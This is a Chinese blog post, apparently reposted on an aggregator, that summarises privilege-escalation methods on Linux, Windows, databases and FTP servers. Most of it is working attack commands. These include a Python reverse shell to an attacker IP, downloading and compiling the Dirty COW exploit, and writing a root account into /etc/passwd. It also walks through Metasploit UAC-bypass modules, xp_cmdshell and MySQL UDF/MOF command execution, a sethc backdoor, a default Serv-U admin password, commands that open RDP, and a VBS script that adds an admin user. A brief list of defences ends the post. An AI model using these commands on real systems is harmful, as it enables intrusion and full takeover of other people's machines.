一文了解提权:溢出提权和第三方组件提权

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文了解提权:溢出提权和第三方组件提权相关的知识,希望对你有一定的参考价值。

前言

对提权做个归纳

提权一般分为两种:

  • 溢出提权
  • 第三方组件提权

一、溢出提权

溢出提权就是利用系统漏洞进行提权

  • 远程溢出:攻击者只要与服务器连接,然后根据漏洞使用响应的exp即可,如著名的MS-08067
  • 本地溢出:现拥有服务器的一个用户,较多见

1、linux提权

基础知识:一文了解linux下的用户(组)和权限

(1)内核提权

步骤:

  • 查看服务器内核版本,uname-a & id
  • 本地接收服务器端数据,nc -l -n -v 8888
  • 服务器端反弹shell
  • 上传溢出提权exp并执行

github上的一个集合:linux-kernel-exploits

(2)SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \\;

例子:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行

/usr/bin/find examples.desktop -exec whoami \\;

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份

(3)配置不当提权

假设 /etc/passwd 的配置不当,导致任何用户都可以读写,就可以用来提权

  • 用perl语言生成带有盐值的密码:perl -le 'print crypt("password@123","addedsalt")'
  • test用户的信息加入 /etc/passwd 文件:echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
  • 以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限

以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。

useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus

检查配置的脚本:

(4)定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,默认这些程序以root权限执行

如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了

ls -l /etc/cron*

使用该命令,列出的文件,查看 /etc/cron.daily/etc/cron.hourly/etc/cron.monthly/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

(5)脏牛提权

exp1

wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <password>
su firefart 
# getrootshell

exp2

git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make
./dcow -s
# getrootshell

2、windows提权

(1)内核提权

步骤:

  • 探测脚本信息,ASP中用“wscript.shell”,ASP.NET中用“.NET Framework”,JSP中用“JVM”
  • 执行简单的系统指令,比如systeminfo查看补丁
  • 执行溢出程序exp,命名格式如MS08067

github上的一个集合:windows-kernel-exploits

(2)绕过UAC提权

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果

需要UAC的授权才能进行的操作列表如下:

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

UAC有如下四种设置要求:

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

绕过方法
首先通过explloit获得目标主机的meterprter。获得meterpreter会话后,输入以下命令以检查是否是system权限:

getsystem
getuid

如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。

1.方法一:Windows权限升级绕过UAC保护
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

2.方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

最终你将获得NT AUTHORITY\\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

您将再次获得NT AUTHORITY\\SYSTEM 权限。

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)
此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。

getsystem
getuid

最后,您将获得NT AUTHORITY\\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

复现:CVE-2019-1388:Windows UAC 本地提权

防范:

  • 在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

  • 使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)

(3)windows组策略首选项提权

windows2008有一个叫组策略首选项(Group Policy Preference)的特性.这个特性可以方便管理员在整个域内部署策略.

当下发的策略包含用户名和认证信息的时候,一个普通的用户就可以通过这些信息或得策略里的帐号密码,从而提升自己的权限甚至控制域内其他计算机

可参考:Windows组策略首选项提权(SYSVOL/GPP)

(4)Windows PR提权

Microsoft Windows RPCSS服务隔离本地权限提升漏洞

RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

BUGTRAQ ID: 34443
CVE(CAN) ID: CVE-2009-0079

发布日期:2009-04-14
更新日期:2009-04-24

受影响系统:

Microsoft Windows XP x64 SP2
Microsoft Windows XP x64
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1

也就是说只有Windows Server 2003和windows xp系统能够使用 pr 提权。

参见:【内网提权】windows2003本地PR提权详解

(5)一个可能的完整过程

CMD探查

systeminfo :查看系统版本信息
netstat -ano : 查看系统开放端口
tasklist /svc : 查看系统进程
ipconfig : 查看ip地址
whoami : 查看当前用户
net user : 查看计算机用户列表
net localgroup : 查看计算机用户组列表

查看远程桌面的端口

# 方式一
REG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server\\WinStations\\RDP-Tcp /v PortNumber

# 方式二
tasklist /svc查询TermService对应PID
再netstat -ano查询PID对应的端口号

# 方式三
查询注册表HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\ Wds dpwd\\Tds cp 中PortNumber的值

开启3389

# 方式一 通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

## 方式二 For Win2003
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

# 方式三 For Win2008
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

# 方式四.For Every
cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:
wmic /namespace:\\root\\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前两条即可。权限需要run as administrator。

添加用户

net user test123 Test123 /add : 添加test123用户并设置密码为Test123
net localgroup administrators test123 /add : 将用户加入管理组

二、第三方组件提权

1、信息搜集

信息搜集永远是最重要的一个环节

  • 服务器支持的脚本语言,运气好说不定就可以直接以admin身份执行指令了
  • 服务器端口探测,目的是为了查看安装了哪些软件
  • 路径信息

2、数据库提权

(1)SQL Server

主要依据一个特殊的存储过程“xp_cmdshell”,可以调用系统命令
即在sysadmin权限下调用“xp_cmdshell”,执行net user x x /add & net localgroup administrators x /add添加一个管理员账户

启用或关闭xp_cmdshell

# 启用xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 
 
# 关闭xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 0 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 

一些常用指令

查看数据库版本:select @@version

查看数据库系统参数:exec master..xp_msver;

查看用户所属角色信息:sp_helpsrvrolemember

查看当前数据库:select db_name()

显示机器上的驱动器:xp_availablemedia

查看当前账户权限

select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限

类似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin

select IS_MEMBER('db_owner') #判断是否为dbo权限

添加用户

exec master.dbo.sp_addlogin test,password #添加用户

exec master.dbo.sp_addsrvrolemember test,sysadmin #加权限

启动停止服务

exec master..xp_servicecontrol 'stop','test'

exec master..xp_servicecontrol 'start','test'

检查功能

SELECT count(*FROM master.dbo.sysobjects WHERE name='xp_cmdshell'

xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc

1、在注入点进行提权

  • 手工:1; exec master..xp_cmdshell 'net user 1 1 /add'--
  • sqlmap:sqlmap.py -u "http://xxxx?id=1 --os-cmd="net user"

2、已经得到数据库账户了
提权方法没变,只是位置变了而已
也就是连上数据库然后执行命令

(2)mysql

主要有两种:UDF提权和MOF提权

1、UDF提权

UDF,全称user defined function,即用户定义函数

注:

  • Mysql版本大于5.1版本,udf.dll文件必须放置于MYSQL安装目录下的lib\\plugin文件夹下
  • Mysql版本小于5.1版本,udf.dll文件在Windows2003下放置于c:\\windows\\system32文件夹下

思路:

  • 导出C:\\windows\\udf.dll
  • Create Function cmdshell returns string soname ‘udf.dll’;
  • select cmdshell(‘whoami’)
  • drop function cmdshell

一个例子如下:

create table temptable(UDF BLOB); //创建临时表
insert into temptable values(convert(shellcode,CHAR)); //插入shellcode
select UDF from temptable into dumpfile 'C:\\Windows\\udf.dll'; //导出UDF.dll,这一步注意版本,不同版本路径不同
drop table temptable; //删除临时表
create function cmdshell returns string soname 'udf.dll'; //创建cmdshell函数
select cmdshell('command'); //执行命令,这一步之后就可以执行cmd命令了
drop function cmdshell; //删除cmdshell函数

2、MOF提权

  • 利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行
  • 使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\\System32\\Wbem\\MOF目录下

一个例子如下:

use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit

3、FTP提权

配置FTP用户时,如果赋予用户执行权限
就可以用quote site exec执行系统命令
quote site exec net localgroup administrators temp /add

(1)Serv-U 提权

有个默认管理用户LocalAdministrator,密码是#l@$ak#.lk;0@P
可以用来添加用户,然后提权

或者找到配置文件,查看管理员的账户信息

可参考:第三方提权之Serv-U提权

(2)G6 FTP 提权

文件夹RemoteAdmin下有个配置文件Remote.ini
解密可以得到管理员账户密码
然后可以添加用户,再提权

(3)FileZilla 提权

两个配置文件FileZillaServer Interface.xmlFileZilla Server.xml保存了用户信息
提权方法是用cmd.exe代替掉C:\\Windows\\System32下的sethc.exe,构造shift后门

(4)FlashFXP 提权

三个文件Sites.dat、Stats.dat和quick.dat包含历史遗留信息

三、其他

1、3389端口

3389端口是微软的远程桌面服务RDP默认端口
其危险性不用多讲

防御方法:

  • 改端口
  • 做安全策略
  • 做TCP/IP筛选
  • 指定用户

2、端口转发

LCX是最常见的端口转发软件

  • 服务器端,即个人主机监听500,8888端口:lcx -listen 500 8888
  • 客户机端,即要转发的计算机将3389端口转发给服务器端500:lcx.exe -slave 服务器端IP 500 127.0.0.1 3389
  • 这样服务器端用127.0.0.1:8888就可以连接到终端

3、启动项提权

一个VBS代码脚本例子

Ser wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","temp")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/temp",user)
oe.add os&"/temp"

4、DLL劫持

Rices写过一个工具T001s Lpk Sethc

四、防范

关键是目录信息的保护和用户权限的限制

一些措施如下:

  • 及时打补丁,定期杀毒
  • 关闭危险端口
  • 删除system32下的敏感exe文件,如cmd.exe
  • 删除不安全的组件,如WScript.Shell
  • 安装安全软件,如安全狗

结语

对提权有了浅层了解
后续有学习再更新

以上是关于一文了解提权:溢出提权和第三方组件提权的主要内容,如果未能解决你的问题,请参考以下文章

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权

liunx-用户的临时提权和永久提权

什么是本地提权漏洞和远程代码执行漏洞?

Windows令牌窃取提权和烂土豆提权学习

Windows令牌窃取提权和烂土豆提权学习

第三方组件提权-SQL server提权